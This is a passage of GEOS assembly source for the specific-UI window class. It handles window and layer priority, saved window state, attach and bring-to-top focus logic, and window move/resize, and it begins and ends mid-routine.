; this window.
;
; cl = default priority
; ch = mask WPF_SAVE_UNDER, if needed
; di = default window
;----------------------------------------
;
; Check for custom window priority
;
mov ax, ATTR_GEN_WINDOW_CUSTOM_WINDOW_PRIORITY
call ObjVarFindData
jnc afterWinPrio
EC < test {WinPriorityData} ds:[bx], not mask WPD_WIN >
EC < ERROR_NZ OL_BAD_WIN_PRIORITY >
and cl, not mask WPD_WIN
or cl, ds:[bx]
afterWinPrio:
;----------------------------------------
;
; Check for custom layer priority
;
mov ax, ATTR_GEN_WINDOW_CUSTOM_LAYER_PRIORITY
call ObjVarFindData
jnc afterLayerPrio
mov al, ds:[bx]
shl al, 1 ; Shift up to layer prio area
shl al, 1
shl al, 1
shl al, 1
and cl, not mask WPD_LAYER
or cl, al
afterLayerPrio:
;----------------------------------------
mov bx, ds:[si]
add bx, ds:[bx].OLWin_offset
if _CUA_STYLE
cmp ds:[bx].OLWI_type, MOWT_WINDOW_ICON
else
.err <Must choose either CUA_STYLE or MAC>
endif
je afterAttrSetLayerID
;
; Check for ATTR_GEN_WINDOW_CUSTOM_LAYER_ID layerID override on this
; object itself
;
mov ax, ATTR_GEN_WINDOW_CUSTOM_LAYER_ID
call ObjVarFindData
jnc afterAttrSetLayerID
mov dx, ds:[bx]
tst dx ; if zero, use block handle
jnz afterAttrSetLayerID
mov dx, ds:[LMBH_handle]
afterAttrSetLayerID:
;----------------------------------------
;
; Check for custom parent window
;
mov ax, ATTR_GEN_WINDOW_CUSTOM_PARENT
call ObjVarFindData
jnc afterCustomParent
mov di, ds:[bx] ; get window handle
tst di
jnz afterCustomParent
call GetScreenWin ; Fetch screen window, in di
afterCustomParent:
EC < mov bx, di >
EC < call ECCheckWindowHandle ; ensure good window >
;----------------------------------------
;
; Figure out whether to place in front or behind, both window & layer
;
; If bit set to open on top, then do
; so -- otherwise open behind other
; windows.
mov bx, ds:[si]
add bx, ds:[bx].Vis_offset
test ds:[bx].OLWI_fixedAttr, mask OWFA_OPEN_ON_TOP
jnz afterOpenOnTop
ornf cx, mask WPF_PLACE_BEHIND
afterOpenOnTop:
; Fetch launch flags from application
; object (tells us layer info)
push cx, dx
mov ax, MSG_GEN_APPLICATION_GET_LAUNCH_FLAGS
call GenCallApplication
test ax, mask ALF_OPEN_IN_BACK
pop cx, dx
jz afterOpenLayerOnTop
ornf cx, mask WPF_PLACE_LAYER_BEHIND
afterOpenLayerOnTop:
.leave
ret
GetCoreWinOpenParams endp
if _CUA_STYLE ;START of MOTIF specific code ---------------------------------
winPriorityTable WinPriorityData \
< 0, WIN_PRIO_STD >, ; MOWT_PRIMARY_WINDOW
< 0, WIN_PRIO_STD >, ; MOWT_DISPLAY_WINDOW
< 0, WIN_PRIO_COMMAND >,; MOWT_COMMAND_WINDOW
< 0, WIN_PRIO_COMMAND >,; MOWT_PROPERTIES_WINDOW
< 0, WIN_PRIO_COMMAND >,; MOWT_NOTICE_WINDOW
< 0, WIN_PRIO_COMMAND >,; MOWT_HELP_WINDOW
< 0, WIN_PRIO_POPUP >, ; MOWT_MENU
< 0, WIN_PRIO_POPUP >, ; MOWT_SUBMENU
< 0, WIN_PRIO_POPUP >, ; MOWT_SYSTEM_MENU
< 0, WIN_PRIO_STD+1 > ; MOWT_WINDOW_ICON
; slightly lower priority so we can
; distinguish icons in EnsureActiveFTCommon
; has acceptable side-effect of placing icon
; below WIN_PRIO_STD windows that remain open
; when the app is iconified - brianc 3/17/93
endif ;END of MOTIF specific code -----------------------------------
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
OpenWinModifyWithNearestWinGroupPriority
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Raise the layer and window priority of the new window
to be at least as high as the nearest win group up the
generic tree.
CALLED BY: (INTERNAL) GetCoreWinOpenParams
PASS: *ds:si = windowed object
cx = WinPassFlags
di = parent window
dx = layer ID
RETURN: cl, ch, di, dx = modified according to values of nearest
wingroup
DESTROYED: ax
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
ardeb 6/ 8/93 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
OpenWinModifyWithNearestWinGroupPriority proc near
passFlags local WinPassFlags push cx
parentWin local hptr.Window push di
layerID local word push dx
uses bx, si
.enter
;
; Only do this for popups
;
call WinCommon_DerefVisSpec_DI
test ds:[di].OLWI_moreFixedAttr, mask OWMFA_IS_POPUP
jz toReload
;
; But not for modal dialogs
;
test ds:[di].OLPWI_flags, mask OLPWF_APP_MODAL
jnz toReload
test ds:[di].OLPWI_flags, mask OLPWF_SYS_MODAL
jnz toReload
;
; Locate the generically-closest win group using our internal query.
;
mov ax, MSG_SPEC_GUP_QUERY
mov cx, SGQT_WIN_GROUP
push bp
call GenCallParent
mov_tr ax, bp
pop bp
jc haveWinGroup
toReload:
jmp reload
haveWinGroup:
mov_tr di, ax
;
; Always use the same layer ID
;
mov si, WIT_LAYER_ID
call WinGetInfo
mov ss:[layerID], ax
;
; Inherit any custom window parent the win group has.
;
push di
movdw bxsi, cxdx
call ObjSwapLock
push bx
mov ax, ATTR_GEN_WINDOW_CUSTOM_PARENT
call ObjVarFindData
jnc afterParentCheckedForCustomWinParent
mov di, ds:[bx] ; get window handle
tst di
jnz setNewParent
call GetScreenWin ; Fetch screen window, in di
setNewParent:
mov ss:[parentWin], di
afterParentCheckedForCustomWinParent:
pop bx
call ObjSwapUnlock
pop di
;
; Compare the current parentWin against the parent of the nearest
; wingroup and use the one that is higher in the tree. This ensures
; that popups that are generically within a sysmodal box will be on
; the same window (i.e. the screen) as the sysmodal box, while still
; allowing menus within displays to be on the field, not the display
; group. I tried to give the thing a proper vis parent by transforming
; the query for a popup's vis parent to that for a sysmodal when the
; query passed through a sysmodal interaction, but OLApplication
; thwarted that gallant attempt by returning itself & the screen (as
; opposed to its usual return of itself & the field), but no one was
; ready to receive the window there, so... -- ardeb
;
mov si, WIT_PARENT_WIN
call WinGetInfo
xchg ss:[parentWin], ax ; assume ancestral and ok
push di, ax ; save former parent for possible
; restoration, and wingroup for further
; interrogation.
checkAncestorLoop:
cmp ss:[parentWin], ax
je parentWinOK
mov_tr di, ax
mov si, WIT_PARENT_WIN
call WinGetInfo
;
; win group's parent not an ancestor, so restore previous parentWin
;
tst ax
jnz checkAncestorLoop
pop ax
mov ss:[parentWin], ax
push ax
parentWinOK:
pop di, ax
;
; Use parent priority for layer & window only if higher (numerically
; lower) than our own.
;
mov si, WIT_PRIORITY
call WinGetInfo
mov ah, al
CheckHack <offset WPF_PRIORITY eq 0 and width WPF_PRIORITY eq 8>
mov bl, ss:[passFlags].low
mov bh, bl
;
; Set the high bytes of ax and bx to hold the respective layer
; priorities, while the low bytes hold the respective window
; priorities. Set cl to the highest of each in their respective
; fields.
;
andnf ax, (mask WPD_LAYER shl 8) or mask WPD_WIN
andnf bx, (mask WPD_LAYER shl 8) or mask WPD_WIN
;
; Map passed priorities of 0 to their standard counterparts to
; avoid throwing off the comparison.
;
tst bh
jnz havePassedLayerPrio
mov bh, LAYER_PRIO_STD shl offset WPD_LAYER
havePassedLayerPrio:
tst bl
jnz havePassedWinPrio
mov bl, WIN_PRIO_STD shl offset WPD_WIN
havePassedWinPrio:
cmp ah, bh ; assume parent win group's layer
; prio is "higher"
jbe checkWinPrio ; right
mov ah, bh ; no -- use existing layer prio
checkWinPrio:
cmp al, bl ; assume parent win group's win prio
; is "higher"
jbe setWinPrio ; yes
mov al, bl ; no -- use existing win prio
setWinPrio:
or al, ah ; merge layer & window prio
CheckHack <offset WPF_PRIORITY eq 0 and width WPF_PRIORITY eq 8>
mov ss:[passFlags].low, al ; and store them away
reload:
mov cx, ss:[passFlags]
mov di, ss:[parentWin]
mov dx, ss:[layerID]
.leave
ret
OpenWinModifyWithNearestWinGroupPriority endp
COMMENT @----------------------------------------------------------------------
FUNCTION: GetScreenWin
DESCRIPTION: Returns Screen Window in di
CALLED BY: INTERNAL
GetCoreWinOpenParams
PASS: *ds:si - OLWinCLass
RETURN: di - screen window
DESTROYED: nothing
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Doug 3/92 Initial version
------------------------------------------------------------------------------@
if BUBBLE_HELP
GetScreenWinFar proc far
call GetScreenWin
ret
GetScreenWinFar endp
endif ; BUBBLE_HELP
GetScreenWin proc near uses ax, bx, cx, dx, bp
.enter
push si
EC < clr cx ; assume no window >
mov ax, MSG_VIS_QUERY_WINDOW
mov bx, segment OLScreenClass
mov si, offset OLScreenClass
mov di, mask MF_RECORD
call ObjMessage
mov cx, di ; Get handle to ClassedEvent in cx
pop si ; Get object
mov ax, MSG_VIS_VUP_CALL_OBJECT_OF_CLASS
call GenCallApplication ; returns window in cx
mov di, cx
EC < tst di >
EC < ERROR_Z OL_CANT_GET_SCREEN_WINDOW_HANDLE >
.leave
ret
GetScreenWin endp
COMMENT @----------------------------------------------------------------------
FUNCTION: OpenWinGetState
DESCRIPTION: This procedure checks if there is saved state information
for this window.
CALLED BY: OpenWinAttach
PASS: *ds:si = instance data for object
RETURN: nothing
DESTROYED: ?
PSEUDO CODE/STRATEGY:
Make sure any changes here are also made in OLWinIconSpecBuild.
This is only called for non-OLWinIcon objects.
REVISION HISTORY:
Name Date Description
---- ---- -----------
Eric 5/90 initial version
------------------------------------------------------------------------------@
; called from AppAttach
OpenWinGetState proc far
class OLWinClass
;This object is specified in the application .UI file as "on the active
;list", meaning it should open when the application is launched,
;OR this window was open when the application was shut-down.
;We now check if any additional data was saved for us.
mov ax, TEMP_GEN_SAVE_WINDOW_INFO
call ObjVarFindData
jnc removeFromList ;skip if no data saved...
;==============================================================================
;This object has data on the active list: the window must have
;been moved or resized by the application or user, OR the
;window had "STAGGERED" behavior, when it was closed.
;We have to recover its stagger slot #, and query the
;Field/DisplayControl to see if this slot is available.
; ds:bx = data
push es, si
call WinCommon_DerefVisSpec_DI
segmov es, ds ;set es:di = VisSpec instance data
;get data in ds:si
mov si, bx
;now copy some info straight from the saved data
mov ax, ds:[si].GSWI_winPosSizeState
mov es:[di].OLWI_winPosSizeState, ax
;(while we have es:di = specific part, set flags so that SPEC_BUILD
;knows that we pulled % bounds values from the saved data.
;It will still check the state flags to see if this data is needed.)
;We are also indicating that the stagger slot info came from
;a previous session, and should change if there is a conflict with
;an object present in this session.
;DO NOT want to set geometry invalid here. Caller must ensure that
;UpdateWinPosSize will run soon, to check these (possibly) new flags,
;update visbounds, and set geometry invalid.
;don't do this as the correct flags are saved in OpenWinSaveState (hopefully
;fixes bug where CGA's outdented (-1, -1) windows are restored correctly when
;saved in iconified form (i.e. pixel bounds CAN be saved to state, bleah)
;-- brianc 4/2/92
; ORNF es:[di].OLWI_winPosSizeState, mask WPSS_VIS_POS_IS_SPEC_PAIR \
; or mask WPSS_VIS_SIZE_IS_SPEC_PAIR_PARENT
;the only data remaining in the chunk is the bounds of this window -
;saved as a % of the parent window. Grab this info now.
;ds:si = window Rect structure
;saved in extra data chunk
.assert (offset VI_bounds eq 0), \
"ERROR: VI_bounds is not 1st field in VisClass!"
;add this code if necessary:
; add di, offset VI_bounds
mov cx, size VI_bounds
cld
rep movs es:[di], ds:[si] ;copy from extra data chunk to VI_bounds
pop es, si
mov ax, TEMP_GEN_SAVE_WINDOW_INFO
call ObjVarDeleteData
;==============================================================================
removeFromList:
;Remove this window from the active list. (Will be added back in
;when it comes up). Exception: if this window is a GenPrimary which
;is minimized, KEEP it on the window, so that it will get UPDATE_WINDOW
;if the system shuts down before the Primary opens.
;WHO commented this code out, and WHY? Please explain yourself! -Eric 10/90.
;one possible reason is that you don't want to remove window list entrys
;defined in .ui/.goc files? - brianc 5/27/92
if 0
push es
mov di, segment GenDisplayClass
mov es, di
mov di, offset GenDisplayClass
call ObjIsObjectInClass
pop es
jnc removeFromActive ;can't be minimized
mov ax, MSG_GEN_DISPLAY_GET_MINIMIZED
call ObjCallInstanceNoLock
jc done ;skip if minimized...
removeFromActive:
call OLWinTakeOffWindowList ;take ourselves off active list
done:
endif
ret
OpenWinGetState endp
WinCommon ends
WinCommon segment resource
COMMENT @----------------------------------------------------------------------
FUNCTION: ConvertPixelBoundsToSpecWinSizePairs
DESCRIPTION: Convert this windowed object's bounds into ratio values.
This is done before the data is saved.
CALLED BY: OpenWinSaveState
PASS: *ds:si - object
ss:bp - GenSaveWinInfo structure on stack (contains
Rectangle (copied from VI_bounds) in lowest 4 words)
RETURN: ax, cx, dx, ds, si, bp = same
DESTROYED: bx, di
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Eric 11/89 Initial Version
------------------------------------------------------------------------------@
ConvertPixelBoundsToSpecWinSizePairs proc far uses ax, cx, dx
class OLWinClass
.enter
if ERROR_CHECK ;--------------------------------------------------------------
;error check: if position is ratio but size is not (or vice-versa),
;give up.
call WinCommon_DerefVisSpec_DI
test ds:[di].OLWI_winPosSizeState, mask WPSS_VIS_POS_IS_SPEC_PAIR
jz 10$
test ds:[di].OLWI_winPosSizeState, \
mask WPSS_VIS_SIZE_IS_SPEC_PAIR_PARENT or \
mask WPSS_VIS_SIZE_IS_SPEC_PAIR_FIELD
ERROR_Z OL_ERROR
jmp 20$
10$:
test ds:[di].OLWI_winPosSizeState, \
mask WPSS_VIS_SIZE_IS_SPEC_PAIR_PARENT or \
mask WPSS_VIS_SIZE_IS_SPEC_PAIR_FIELD
ERROR_NZ OL_ERROR
20$:
endif ;--------------------------------------------------------------
;first: if this window's bounds are already expressed as a
;SpecWinSizePair value, then DO NOT convert to one!
call WinCommon_DerefVisSpec_DI
test ds:[di].OLWI_winPosSizeState, \
(mask WPSS_VIS_POS_IS_SPEC_PAIR \
or mask WPSS_VIS_SIZE_IS_SPEC_PAIR_PARENT \
or mask WPSS_VIS_SIZE_IS_SPEC_PAIR_FIELD)
jnz done
;mark this thing as storing percent coordinates - brianc 4/2/92
ORNF ss:[bp].GSWI_winPosSizeState, mask WPSS_VIS_POS_IS_SPEC_PAIR \
or mask WPSS_VIS_SIZE_IS_SPEC_PAIR_PARENT
;convert size into ratio of parent window (DO THIS FIRST)
;(bounds values have been copied into the GenSaveWindowInfo structure,
;so we have to refer to them using "winPosition" and "winSize"
;field names, but remember they are still organized as a Rectangle <>.)
mov ax, ss:[bp].GSWI_winSize.SWSP_x
sub ax, ss:[bp].GSWI_winPosition.SWSP_x
; inc ax ;bounds changes! 12/ 8/92 cbh
mov bx, ss:[bp].GSWI_winSize.SWSP_y
sub bx, ss:[bp].GSWI_winPosition.SWSP_y
; inc bx
clr cx ;compare to parent win
call VisConvertCoordsToRatio ;returns SpecWinSizePair in ax, bx
mov ss:[bp].GSWI_winSize.SWSP_x, ax ;save size values
mov ss:[bp].GSWI_winSize.SWSP_y, bx
;convert position into ratio of parent window
mov ax, ss:[bp].GSWI_winPosition.SWSP_x
mov bx, ss:[bp].GSWI_winPosition.SWSP_y
;
; we will bump out the bounds here before saving as a ratio, as
; when bump them in when we restore (see
; ConvertSpecWinSizePairsToPixels) - brianc 1/29/93
;
inc ax
inc bx
clr cx ;compare to parent win
call VisConvertCoordsToRatio ;returns SpecWinSizePair in ax, bx
mov ss:[bp].GSWI_winPosition.SWSP_x, ax ;save position values
mov ss:[bp].GSWI_winPosition.SWSP_y, bx
done:
.leave
ret
ConvertPixelBoundsToSpecWinSizePairs endp
WinCommon ends
WinCommon segment resource
COMMENT @----------------------------------------------------------------------
METHOD: OpenWinUpdateWindow -- MSG_META_UPDATE_WINDOW for OLWinClass
DESCRIPTION:
PASS:
*ds:si - instance data
es - segment of OLWinClass
ax - MSG_META_UPDATE_WINDOW
cx - UpdateWindowFlags
dl - VisUpdateMode
RETURN:
carry - ?
ax - ?
cx - ?
dx - ?
bp - ?
DESTROYED:
bx, si, di, ds, es
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
brianc 6/9/92 Initial version
------------------------------------------------------------------------------@
OpenWinUpdateWindow method dynamic OLWinClass, MSG_META_UPDATE_WINDOW
push ax, cx, dx
test cx, mask UWF_ATTACHING
jz notAttaching
call OpenWinAttaching
jmp callSuper ; all done for ATTACH
notAttaching:
test cx, mask UWF_DETACHING
jz notDetaching
call OpenWinDetaching
notDetaching:
callSuper:
pop ax, cx, dx
push cx
mov di,offset OLWinClass
call ObjCallSuperNoLock
pop cx
;new code to deal with this in GenAppOpenComplete - brianc 3/8/93
; ;
; ; if we were attaching, deal with modal window (allows modal windows
; ; that are saved to state to correctly regain focus when they come
; ; up again) - brianc 1/11/93
; ;
; test cx, mask UWF_ATTACHING
; jz done
; call OpenWinUpdateModalStatus
done:
ret
OpenWinUpdateWindow endp
OpenWinAttaching proc near
EC < ;Make sure we are actually attaching >
EC < mov ax, MSG_GEN_APPLICATION_GET_STATE >
EC < call UserCallApplication ; ax = ApplicationStates >
EC < test ax, mask AS_ATTACHING >
EC < ERROR_Z OL_ERROR >
push cx ; preserve UpdateWindowFlags
call OpenWinGetState ;get saved position and size state data
pop cx
;set flag so that we are not assertive about getting the same
;staggered slot # (see UpdateWinPos).
call WinCommon_DerefVisSpec_DI
ORNF ds:[di].OLWI_winPosSizeState, mask WPSS_HAS_RESTARTED
;If this object is marked as BRANCH_MINIMIZED, then do not set
;realizable or update - this will be done by
;OLMenuedWinGenSetNotMinimized later on.
test ds:[di].VI_specAttrs, mask SA_BRANCH_MINIMIZED
jz checkVisible
EC < push es, di >
EC < mov di, segment GenDisplayClass >
EC < mov es, di >
EC < mov di, offset GenDisplayClass >
EC < call ObjIsObjectInClass >
EC < pop es, di >
EC < ERROR_NC OL_ERROR >
mov ax, MSG_GEN_DISPLAY_SET_MINIMIZED
call ObjCallInstanceNoLock
jmp done ;skip to end...
checkVisible:
; Presume visible if on window list (other than special case for
; GenInteraction below)
;
; NOTE: A proposed change for V2.0 would have displays & primarys
; always coming up if USABLE & ATTACHED. If this were the case,
; then this bit would already have been set in OLDisplayWinInitialize,
; so it would not need to be done here. -- Doug 12/10/91
;
;done - brianc 3/3/92
; ORNF ds:[di].VI_specAttrs, mask SA_REALIZABLE
; See if window should be on screen or not
;
push di, es
mov di, segment GenInteractionClass
mov es, di
mov di, offset GenInteractionClass
call ObjIsObjectInClass
pop di, es
; If not GenInteraction, rely on
; initialization handlers
; to set realizability up correctly.
jnc afterInteraction
;genInteraction:
; cx = UpdateWindowFlags
; Special case for GenInteraction -- if coming up for first time,
; depends on UWF_FROM_WINDOWS_LIST. If re-attaching, look at
; HINT_INITIATED instead.
;
;assume not desired on screen
ANDNF ds:[di].VI_specAttrs, not mask SA_REALIZABLE
test cx, mask UWF_RESTORING_FROM_STATE
jnz useState
;if not, use UWF_FROM_WINDOWS_LIST
test cx, mask UWF_FROM_WINDOWS_LIST
jnz realizable ;direct update from GAGCNLT_WINDOWS
;GCN list, make realizable
jmp short notRealizable ;else, not realizable
useState:
mov ax, HINT_INITIATED ;re-attaching: check state
call ObjVarFindData
jnc afterInteraction ;skip if not found
;switch if hint exists
realizable:
ORNF ds:[di].VI_specAttrs, mask SA_REALIZABLE
if _MENUS_PINNABLE ;-----------------------------------------------------
; IF menu - must have been pinned when was closed (see OpenWinCloseWin)
; mark as OLWSS_NOTIFY_TRIGGERS_IS_PINNED so that during SPEC_BUILD
; we will tell our triggers to get borders.
;
test ds:[di].OLWI_fixedAttr, mask OWFA_IS_MENU
jz 10$ ;skip if not a menu or submenu...
ORNF ds:[di].OLWI_specState, mask OLWSS_PINNED \
or mask OLWSS_NOTIFY_TRIGGERS_IS_PINNED
10$:
endif ;------------------------------------------------------
notRealizable:
afterInteraction:
;==============================================================================
afterSetVisible:
ForceRef afterSetVisible
;NOW, do spec build & visual update
; Mark display as Attached only.
; If specific objects want themselves
; to be visible when the ensuing
; update happens, they should subclass
; this method & or in the
; SA_REALIZABLE bit before calling
; this superclass method.
; Note that if any generic parent
; is MINIMIZED, then the specific UI
; may set a bit which prevents
; the children (such as this one)
; from actually being made visible.
mov cl, mask SA_ATTACHED
clr ch
; Do visual update. If attached,
; usable & visible, it will come up
; on screen.
; XXX: use passed update mode?
mov dl, VUM_NOW
mov ax, MSG_SPEC_SET_ATTRS
call ObjCallInstanceNoLock
done:
ret
OpenWinAttaching endp
WinCommon ends
WinCommon segment resource
COMMENT @----------------------------------------------------------------------
METHOD: OpenWinBringToTop -- MSG_GEN_BRING_TO_TOP
DESCRIPTION: This function brings the window to the top of its window
priority group, & and if using a point & click kbd focus
model, & the window is capable of being the focus window,
then sends in a request to the application object to make this
happen. If the application is active, the request will be
obliged, & this window will receive a
MSG_META_GAINED_FOCUS_EXCL. If the app isn't active, this
window will still be remembered, so that it will be given
kbd focus, if there is a choice when the app is active again.
PASS: *ds:si - instance data
RETURN: nothing
DESTROYED:
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Doug 6/29/89 Initial version
------------------------------------------------------------------------------@
;NOTE: OLMenuWinClass handles this method and does not call superclass.
OpenWinBringToTop method dynamic OLWinClass, MSG_GEN_BRING_TO_TOP
;if this window is not opened then abort: the user or application
;caused the window to close before this method arrived via the queue.
call VisQueryWindow
or di, di
jz setGenState ; Skip if window not opened...
clr ax, dx ; Leave LayerID unchanged
call WinChangePriority
; If this is a modal window, notify app object, & sys object if
; SYS_MODAL, that one of these types of windows has either opened,
; closed, or changed in priority.
;
; First, check to see if really of OLPopupWinClass
;
call WinCommon_DerefVisSpec_DI
test ds:[di].OLWI_moreFixedAttr, mask OWMFA_IS_POPUP
jz 10$
call OpenWinUpdateModalStatus
10$:
;
; Handle toolboxes specially, by giving them the focus.
;
call WinCommon_DerefVisSpec_DI
test ds:[di].OLCI_buildFlags, mask OLBF_TOOLBOX
jnz setGenState
;
; if keyboard-only, ignore OWMFA_NO_DISTURB
; XXX: might need to do this for OLBF_TOOLBOX (above) also
;
call OpenCheckIfKeyboardOnly
jc afterNoDisturbCheck
test ds:[di].OLWI_moreFixedAttr, mask OWMFA_NO_DISTURB
jnz setGenState
afterNoDisturbCheck:
mov ax, MSG_META_GRAB_TARGET_EXCL
call ObjCallInstanceNoLock
if FIND_HIGHER_LAYER_PRIORITY
;
; check if we should grab focus
;
call CheckFocusGrab
jnc setGenState ; don't grab focus
endif
mov ax, MSG_META_GRAB_FOCUS_EXCL
call ObjCallInstanceNoLock
setGenState:
; Raise the window list entry to
; the top, to reflect new/desired
; position in window hierarchy.
; (If no window list entry, window
; isn't up & nothing will be done)
mov ax, MSG_GEN_APPLICATION_BRING_WINDOW_TO_TOP
mov cx, ds:[LMBH_handle]
mov dx, si
call GenCallApplication
ret
OpenWinBringToTop endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
CheckFocusGrab
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: check if this OLWin should grab focus
CALLED BY: INTERNAL
OpenWinBringToTop
PASS: *ds:si = OLWin
RETURN: carry set to grab focus
carry clear to not grab focus
DESTROYED: ax, bx, cx, dx, bp, di
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
Must be top-most system modal window or top-most
app modal window if no system modal window to grab
focus.
If not top-most system modal window and top-most system
modal window is owned by different geode, must grab focus
within our field.
REVISION HISTORY:
Name Date Description
---- ---- -----------
brianc 2/10/96 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
if FIND_HIGHER_LAYER_PRIORITY
CheckFocusGrab proc near
;
; if there's a system modal win, we need to be the topmost one to
; grab focus
;
mov cx, GUQT_SCREEN
mov ax, MSG_SPEC_GUP_QUERY
call UserCallApplication ; bp = screen window
mov di, bp ; di = screen window
clr ax, bx ; any owner, any LayerID,
; anything above standard priority,
; no focus/target restrictions
mov cx, (LAYER_PRIO_STD-1) shl offset WPD_LAYER
call FindHigherLayerPriorityWinOnWin
; bp = top screen window, if any
mov dx, di ; dx = screen window
call VisQueryWindow ; di = our window
cmp di, bp
LONG je grabIt ; we are top screen win, grab focus
tst bp
jz checkModal ; no screen win, check modal
;
; Have topmost screen window. If we are sys-modal, check if in same
; app as topmost screen window. If not, grab focus within our field's
; window hierarchy. Else, no need to grab focus as closing the topmost
; screen window will restore focus to us automatically via the app's
; modal window mechanism.
; *ds:si = our OLWin object
; di = our window
; bp = topmost screen window
;
mov dx, di ; dx = our window
push es
mov di, segment OLPopupWinClass
mov es, di
mov di, offset OLPopupWinClass
call ObjIsObjectInClass
pop es
jnc dontGrab ; not sys-modal, don't grab focus
call WinCommon_DerefVisSpec_DI
; test ds:[di].OLPWI_flags, mask OLPWF_SYS_MODAL
; We want to check owners if we are either sys-modal *or* app-modal. If
; someone else has a sys-modal up, and we put up an app-modal, we need to
; grab within our app's focus heirarchy. -- brianc 3/8/96
;
test ds:[di].OLPWI_flags, mask OLPWF_APP_MODAL or mask OLPWF_SYS_MODAL
jz dontGrab ; not sys-modal, don't grab focus
;
; sys-modal window, check if same owner as topmost screen window
; dx = our window
; bp = topmost screen window
; *ds:si = our OLWin object
;
mov di, dx ; di = our window
push si ; save OLWin object
mov si, WIT_INPUT_OBJ
call WinGetInfo ; ^lcx:dx = our win input obj
EC < ERROR_C OL_ERROR >
mov bx, cx ; bx = handle
mov ax, MGIT_OWNER_OR_VM_FILE_HANDLE
call MemGetInfo ; ax = our input obj owner
mov di, bp ; di = topmost screen win
mov bp, ax ; bp = our input obj owner
mov si, WIT_INPUT_OBJ
call WinGetInfo ; ^lcx:dx = topmost win input obj
EC < ERROR_C OL_ERROR >
pop si ; *ds:si = OLWin object
mov bx, cx ; bx = handle
mov ax, MGIT_OWNER_OR_VM_FILE_HANDLE
call MemGetInfo ; ax = topmost input obj owner
cmp bp, ax ; same owner?
jne grabIt ; nope, grab focus within field
dontGrab:
clc ; signal don't grab focus
jmp short done
checkModal:
;
; else if there's any modal win, we need to be the topmost one to
; grab focus
;
mov ax, MSG_VIS_QUERY_WINDOW
call UserCallApplication ; cx = app window
mov di, cx ; di = app window
mov bx, ds:[LMBH_handle]
call MemOwner ; current geode
clr ax ; any LayerID
; anything above standard priority,
; no focus/target restrictions
mov cx, (LAYER_PRIO_STD-1) shl offset WPD_LAYER
call FindHigherLayerPriorityWinOnWin
; bp = top app win, if any
call VisQueryWindow ; di = our window
cmp di, bp
je grabIt ; we are top app win, grab focus
tst bp
jnz dontGrab ; have other app win, don't grab focus
; else, grab focus
grabIt:
stc ; signal grab focus
done:
.leave
ret
CheckFocusGrab endp
endif ; FIND_HIGHER_LAYER_PRIORITY
WinCommon ends
WinCommon segment resource
COMMENT @----------------------------------------------------------------------
METHOD: OpenWinMoveResizeWin -- MSG_VIS_MOVE_RESIZE_WIN for OLWinClass
DESCRIPTION: Intercepts the method which does final positioning & resizing
of a window, in order to handle final positioning requests,
amd to make sure that the window is not lost off-screen,
or even too close to the edge of the screen.
PASS: *ds:si - instance data
es - segment of OLWinClass
ax - MSG_VIS_MOVE_RESIZE_WIN
RETURN: nothing
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Chris 3/30/89 Initial version
Doug 11/13/89 Changed to subclass off of MoveResizeWin
instead of VisSetPosition.
Eric 11/20/89 adapted to new window positioning/sizing
scheme.
JimG 4/94 Added code for Stylus' rounded windows.
------------------------------------------------------------------------------@
WIN_VISIBLE_MARGIN equ 10 ;arbitrary
OpenWinMoveResizeWin method dynamic OLWinClass, MSG_VIS_MOVE_RESIZE_WIN
;first check for general window positioning preferences
;(most can be handled at SPEC_BUILD, but some have to be handled here,
;because now we have size information.)
;if the visible bounds for this object are actually
;ratios of the Parent/Field window, convert to pixel coordinates now.
;(Note: if parent geometry is not yet valid, this does nothing)
call ConvertSpecWinSizePairsToPixels
call UpdateWinPosSize ;update window position and size if
;have enough info. If not, then wait
;until MSG_VIS_MOVE_RESIZE_WIN to
;do this.
;check for window visibility preferences
call OpenWinCheckVisibleConstraints
; Do the move/resize.
; If either shadows or round thick dialogs is selected, then
; check to see if the window has the special shape, and call WinResize
; directly with the special region that defines the window.
; If either of these options is selected, but the window does
; not have the special shape, then WinResize is called to
; resize a rectangular shape.
; If these options aren't selected, then call the superclass
; to do the move/resize.
if DIALOGS_WITH_FOLDER_TABS or BUBBLE_DIALOGS
mov bp, ds:[si]
add bp, ds:[bp].Vis_offset
mov di, ds:[bp].VCI_window ; di <= window handle
tst di
jz afterMoveResize ; if no window, done
if DIALOGS_WITH_FOLDER_TABS
call OpenWinCreateTabbedWindowRegion ; ^hbx = region, dx:ax = addr
else ; BUBBLE_DIALOGS
call OpenWinCreateWindowRegion ; ^hbx = region
endif
tst bx
jz notTabbed
push si
if DIALOGS_WITH_FOLDER_TABS
movdw bpsi, dxax ; bp:si = tab region
else ; BUBBLE_DIALOGS
call MemLock
mov bp, ax
